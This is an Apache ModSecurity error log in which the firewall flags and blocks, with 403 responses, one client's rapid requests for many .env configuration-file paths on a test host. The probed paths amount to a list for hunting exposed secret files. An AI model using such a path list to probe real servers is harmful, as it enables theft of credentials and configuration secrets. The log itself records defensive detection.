[Wed Jul 23 13:39:27.279122 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71AAAAAI&quot;]
[Wed Jul 23 13:39:27.279322 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71AAAAAI&quot;]
[Wed Jul 23 13:39:27.301147 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71QAAAAI&quot;]
[Wed Jul 23 13:39:27.301373 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71QAAAAI&quot;]
[Wed Jul 23 13:39:27.301543 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71QAAAAI&quot;]
[Wed Jul 23 13:39:27.324263 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71gAAAAI&quot;]
[Wed Jul 23 13:39:27.324526 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71gAAAAI&quot;]
[Wed Jul 23 13:39:27.324721 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71gAAAAI&quot;]
[Wed Jul 23 13:39:27.359334 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71wAAAAI&quot;]
[Wed Jul 23 13:39:27.359583 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71wAAAAI&quot;]
[Wed Jul 23 13:39:27.359776 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aIDJ76I4lOREpDwv3HY71wAAAAI&quot;]
[Wed Jul 23 13:39:29.228237 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72QAAAAI&quot;]
[Wed Jul 23 13:39:29.229352 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72QAAAAI&quot;]
[Wed Jul 23 13:39:29.229597 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72QAAAAI&quot;]
[Wed Jul 23 13:39:29.259716 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72gAAAAI&quot;]
[Wed Jul 23 13:39:29.259965 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72gAAAAI&quot;]
[Wed Jul 23 13:39:29.260155 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72gAAAAI&quot;]
[Wed Jul 23 13:39:29.281148 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72wAAAAI&quot;]
[Wed Jul 23 13:39:29.281386 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72wAAAAI&quot;]
[Wed Jul 23 13:39:29.281565 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY72wAAAAI&quot;]
[Wed Jul 23 13:39:29.301640 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73AAAAAI&quot;]
[Wed Jul 23 13:39:29.301866 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73AAAAAI&quot;]
[Wed Jul 23 13:39:29.302050 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73AAAAAI&quot;]
[Wed Jul 23 13:39:29.324021 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73QAAAAI&quot;]
[Wed Jul 23 13:39:29.324257 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73QAAAAI&quot;]
[Wed Jul 23 13:39:29.324450 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73QAAAAI&quot;]
[Wed Jul 23 13:39:29.367828 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73wAAAAI&quot;]
[Wed Jul 23 13:39:29.368039 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73wAAAAI&quot;]
[Wed Jul 23 13:39:29.368216 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY73wAAAAI&quot;]
[Wed Jul 23 13:39:29.447812 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74QAAAAI&quot;]
[Wed Jul 23 13:39:29.448039 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74QAAAAI&quot;]
[Wed Jul 23 13:39:29.448229 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74QAAAAI&quot;]
[Wed Jul 23 13:39:29.476299 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74gAAAAI&quot;]
